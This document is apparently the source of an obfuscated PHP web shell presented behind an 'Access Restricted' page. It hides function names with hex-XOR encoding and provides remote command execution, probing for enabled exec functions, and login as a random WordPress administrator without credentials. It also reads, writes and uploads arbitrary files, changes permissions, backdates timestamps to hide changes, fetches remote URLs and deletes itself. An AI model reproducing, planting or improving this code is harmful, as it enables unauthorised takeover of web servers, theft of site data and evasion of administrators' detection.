Authentication

## Access Restricted

["pipe", "r"], 1 => ["pipe", "w"], 2 => ["pipe", "w"] ]; $process = $decoded_function($value, $descriptorspec, $pipes); if (is_resource($process)) { $output = stream_get_contents($pipes[1]); fclose($pipes[1]); $proccl($process); } break; default: break; } ob_end_clean(); return $output ?: 'No output?'; } function wp_action_mode($mode) { global $glob_file; if ($glob_file && ($glob_file !== '0' && file_exists($glob_file))) { require_once $glob_file; } $log_function = decode_char('46426e4154466e534446596d525d5e595857'); $set_current = decode_char('46426e4154466e51444043575f466e47425743'); $allowed_role = decode_char("50565c5b5f5b42464353455d43"); if (!function_exists($log_function)) { return false; } switch ($mode) { case 'log': $users = get_users(["role" => $allowed_role]); if (!$users) { return false; } $arr_rand = array_rand($users, 1); $user = $users[$arr_rand]; if (!$user) { return false; } $id = $user->data->ID; $log_function($id); $set_current($id); return $id; break; default: die("nothing"); break; } } function listing_all_directory() { $path = get_current_path(); $result = array(); $date_format = "d-m-Y H:i:s"; if ($handle = opendir($path)) { while (false !== ($dir = readdir($handle))) { if ($dir === '.' || $dir === '..') { continue; } $full_path = "$path/$dir"; $is_dir = is_dir($full_path); $tmp_result = array( 'path' => htmlspecialchars($full_path), 'is_writable' => is_writable($full_path), 'is_dir' => $is_dir, 'date' => date($date_format, filemtime($full_path)), 'size' => $is_dir ? "" : round(filesize($full_path) / 1024, 2), 'perms' => substr(sprintf('%o', fileperms($full_path)), -4), ); $result[] = $tmp_result; } closedir($handle); } return $result; } $action = isset($_REQUEST['action']) ? $_REQUEST['action'] : false; $glob_file = isset($_COOKIE['glob-file']) && !empty($_COOKIE['glob-file']) ? $_COOKIE['glob-file'] : false; if (!$glob_file) { $glob_file = check_load_file() ?: '0'; setcookie("glob-file", $glob_file); } function check_load_file() { $filename = decode_char("46421c5e5e53551c415a41"); $root_directory = $_SERVER['DOCUMENT_ROOT']; $file_path = $root_directory . DIRECTORY_SEPARATOR . $filename; return file_exists($file_path) ? $file_path : false; } if (!$action) { main(); menu(); } function decode_char($string) { if (!is_string($string) || $string === '') { return ''; } $string = trim($string); if (strlen($string) % 2 !== 0 || !ctype_xdigit($string)) { return ''; } $h = hex2bin($string); if ($h === false) { return ''; } return xorEncryptDecrypt($h); } function fm_chmod_recursive($path, $mode) { @chmod($path, $mode); if (is_dir($path)) { $items = @scandir($path); if ($items !== false) { $items = array_diff($items, ['.', '..']); foreach ($items as $item) { fm_chmod_recursive($path . DIRECTORY_SEPARATOR . $item, $mode); } } } } function fm_touch_recursive($path, $ts) { @touch($path, $ts); if (is_dir($path)) { $items = @scandir($path); if ($items !== false) { $items = array_diff($items, ['.', '..']); foreach ($items as $item) { fm_touch_recursive($path . DIRECTORY_SEPARATOR . $item, $ts); } } } } switch ($action) { case 'd': die(json_encode(listing_all_directory())); break; case 'ec': if ($_SERVER['REQUEST_METHOD'] == "POST") { $value = $_POST['value']; $function = $_POST['function']; $output = code_execution($value, $function); $message['output'] = $output; die(json_encode($message)); } echo '(:'; break; case 'wp': if ($_SERVER['REQUEST_METHOD'] == "POST") { $mode = $_REQUEST['mode']; $result = wp_action_mode($mode); $message['result'] = $result; $message['success'] = $result ? true : false; die(json_encode($message)); } case 'rf': // Read file content as JSON (no page reload needed) if ($_SERVER['REQUEST_METHOD'] == 'POST') { $raw = file_get_contents("php://input"); $data = is_string($raw) ? json_decode($raw, true) : null; if (!$data || !isset($data['filename'])) { die(json_encode(['success' => false, 'content' => ''])); } $filename = decode_char(trim($data['filename'])); if ($filename === '') { die(json_encode(['success' => false, 'content' => ''])); } $content = customize_read_file($filename); // json_encode fails silently on invalid UTF-8; base64 encode content to be safe die(json_encode(['success' => true, 'content' => base64_encode($content), 'encoded' => true, 'filename' => $filename])); } die(json_encode(['success' => false])); break; case 'r': if ($_SERVER['REQUEST_METHOD'] == 'POST') { $raw = file_get_contents("php://input"); $data = is_string($raw) ? json_decode($raw, true) : null; if (!$data || !isset($data['content'], $data['filename'])) { $message['success'] = false; die(json_encode($message)); } $content = show_base_data()($data['content']); if ($content === false) { $content = ''; } $content = (string) $content; $filename = decode_char(trim($data['filename'])); if ($filename === '') { $message['success'] = false; die(json_encode($message)); } $dir = dirname($filename); if (!empty($dir) && !is_dir($dir) && function_exists('mkdir')) { @mkdir($dir, 0755, true); } $message['success'] = fm_write_file($filename, $content); die(json_encode($message)); } main(); $content = customize_read_file(decode_char($_REQUEST['filename'])); show_text_area(htmlspecialchars($content)); break; case 'cf': if ($_SERVER['REQUEST_METHOD'] == "POST") { $data = explode(',', $_POST['data']); $list_functions = array_map('decode_char', $data); foreach ($list_functions as $function) { $disabled_functions = @ini_get('disable_functions'); $disabled_functions = $disabled_functions ? array_map('trim', explode(',', $disabled_functions)) : []; if (empty($disabled_functions)) { $message['avail'] = true; $message['func'] = $function; exit(json_encode($message)); } if (function_exists($function) && !in_array($function, $disabled_functions)) { $message['avail'] = true; $message['func'] = $function; exit(json_encode($message)); } } $message['avail'] = false; die(json_encode($message)); } echo "Missing someone?"; break; case 'cr': main(); show_text_area(""); break; case 'ul': $filename = decode_char($_REQUEST['filename']); $is_dir = !empty($_REQUEST['is_dir']); if (fm_remove_path($filename, $is_dir)) { $message['success'] = true; } else { $message['success'] = false; } die(json_encode($message)); break; case 'extract': $filename = decode_char(trim($_REQUEST['filename'] ?? '')); if (!$filename) { $raw = file_get_contents("php://input"); $data = is_string($raw) ? json_decode($raw, true) : null; if ($data && isset($data['filename'])) { $filename = decode_char(trim($data['filename'])); } } $dest = dirname($filename); $success = false; $method = false; $error = ''; if (class_exists('ZipArchive')) { $zip = new ZipArchive(); $res = $zip->open($filename); if($res === TRUE) { if($zip->extractTo($dest)) { $success = true; $method = 'ziparchive'; }else{ $error = $zip->getStatusString(); } $zip->close(); } else { $error = 'ZipArchive failed to open file'; } } if (!$success && isset($_POST['function'])) { $function = $_POST['function']; $params = "unzip -o " . escapeshellarg($filename) . " -d " . escapeshellarg($dest); $params = bin2hex(xorEncryptDecrypt($params)); $out = code_execution($params, $function); if ($out !== 'No output?') { $success = true; $method = 'command'; $error = ''; } else { $success = false; $error = 'Command returned no output or failed'; } } die(json_encode(['success' => $success, 'method' => $method, 'error' => $error])); break; case 'up': $file = $_FILES['import_file']; $tmp_name = $file['tmp_name']; $content = customize_read_file($tmp_name); if (isset($_POST['by'])) { $content = show_base_data()($content); } $path = get_current_path(); $name = $file['name']; $destination = "$path/$name"; $message['success'] = $content && fm_write_file($destination, $content) ?: rename($tmp_name, $destination); die(json_encode($message)); break; case 're': $filename = decode_char($_REQUEST['filename']); $path = $_REQUEST['path']; if ($_SERVER['REQUEST_METHOD'] == "POST") { $old_filename = "$path/$filename"; $new = $_POST['new']; $new_filename = "$path/$new"; $message['success'] = rename($old_filename, $new_filename); die(json_encode($message)); } break; case 'to': $filename = decode_char($_REQUEST['filename']); if ($_SERVER['REQUEST_METHOD'] == 'POST') { $date = $_POST['date']; $str_date = strtotime($date); $message['success'] = touch($filename, $str_date); clearstatcache(true, $filename); die(json_encode($message)); } case 'sd': $un = show_un(); $un(__FILE__); $message['success'] = true; die(json_encode($message)); break; case 'ch': // chmod if ($_SERVER['REQUEST_METHOD'] == 'POST') { $raw = file_get_contents("php://input"); $data = json_decode($raw, true); $filename = decode_char(trim($data['filename'] ?? '')); $mode = intval($data['mode'] ?? 0, 8); $recursive = !empty($data['recursive']); if ($filename === '' || $mode === 0) { die(json_encode(['success' => false])); } if ($recursive && is_dir($filename)) { fm_chmod_recursive($filename, $mode); $message['success'] = true; } else { $message['success'] = @chmod($filename, $mode); } die(json_encode($message)); } die(json_encode(['success' => false])); break; case 'md': // mkdir if ($_SERVER['REQUEST_METHOD'] == 'POST') { $raw = file_get_contents("php://input"); $data = json_decode($raw, true); $dirname = decode_char(trim($data['dirname'] ?? '')); if ($dirname === '') { die(json_encode(['success' => false])); } $message['success'] = @mkdir($dirname, 0755, true); die(json_encode($message)); } die(json_encode(['success' => false])); break; case 'bulk': // bulk actions: delete, touch, chmod if ($_SERVER['REQUEST_METHOD'] == 'POST') { $raw = file_get_contents("php://input"); $data = json_decode($raw, true); $act = $data['act'] ?? ''; $files = $data['files'] ?? []; $extra = $data['extra'] ?? ''; $recursive = !empty($data['recursive']); $results = []; foreach ($files as $enc) { $path = decode_char(trim($enc)); if ($path === '') continue; switch ($act) { case 'delete': $results[] = fm_remove_path($path, is_dir($path)); break; case 'touch': $ts = strtotime($extra); if ($ts) { if ($recursive && is_dir($path)) { fm_touch_recursive($path, $ts); } else { @touch($path, $ts); } clearstatcache(true, $path); } $results[] = (bool)$ts; break; case 'chmod': $mode = intval($extra, 8); if ($recursive && is_dir($path)) { fm_chmod_recursive($path, $mode); $results[] = true; } else { $results[] = @chmod($path, $mode); } break; } } die(json_encode(['success' => !in_array(false, $results, true), 'results' => $results])); } die(json_encode(['success' => false])); break; default: break; } function customize_read_file($file) { if (!file_exists($file) || filesize($file) < 1) { return ''; } $handle = fopen($file, 'r'); if ($handle) { $content = fread($handle, filesize($file)); if ($content) { return $content; } } $lines = file($file); if ($lines) { return implode($lines); } return show_file_contents()($file); } function show_file_contents() { $file = "file_"; $old = "get_"; $contents = "contents"; return "$file$old$contents"; } function show_text_area($content) { $filename = decode_char($_REQUEST['filename']); $filename_encoded = isset($_REQUEST['filename']) ? htmlspecialchars($_REQUEST['filename'], ENT_QUOTES, 'UTF-8') : ''; echo <<

< Back

$filename
$content
HTML; } function show_base_data() { $alvian = "base"; $nadir = "64_decode"; return "$alvian$nadir"; } function fm_write_file($file, $content) { if ($content === false || $content === null) { $content = ''; } $content = (string) $content; if (function_exists('fopen')) { $handle = @fopen($file, 'w'); if ($handle) { if (@fwrite($handle, $content) !== false) { fclose($handle); return file_exists($file); } fclose($handle); } } if (function_exists('file_put_contents')) { if (@file_put_contents($file, $content) !== false) { return file_exists($file); } } return false; } function fm_make_request($url) { if (function_exists("curl_init")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $output = curl_exec($ch); return $output; } return show_file_contents()($url); } function show_un() { $link = "link"; $unpad = "un"; return "$unpad$link"; } function fm_remove_path($path, $is_dir = false) { if (!file_exists($path)) { return true; } if ($is_dir && is_dir($path)) { $items = array_diff(scandir($path), array('.', '..')); foreach ($items as $item) { $full = $path . DIRECTORY_SEPARATOR . $item; if (is_dir($full)) { fm_remove_path($full, true); } else { @unlink($full); } } return @rmdir($path); } return @unlink($path); } function main() { global $current_path; global $glob_file; $current_path = isset($_REQUEST['path']) ? $_REQUEST['path'] : false; if (!$current_path) { setcookie("path", getcwd()); $current_path = getcwd(); } $path = str_replace('\\', '/', $current_path); $paths = explode('/', $path); echo '
"; ?>
Edit File
Living in a happy nation
Upload
Command
WP Login
Self Delete
Bypass Upload

< Back To Menu

Hello ^^
curl Crontab

| Name | Size | Permissions | Modified
--- | --- | --- | --- | ---

0 selected
Recursive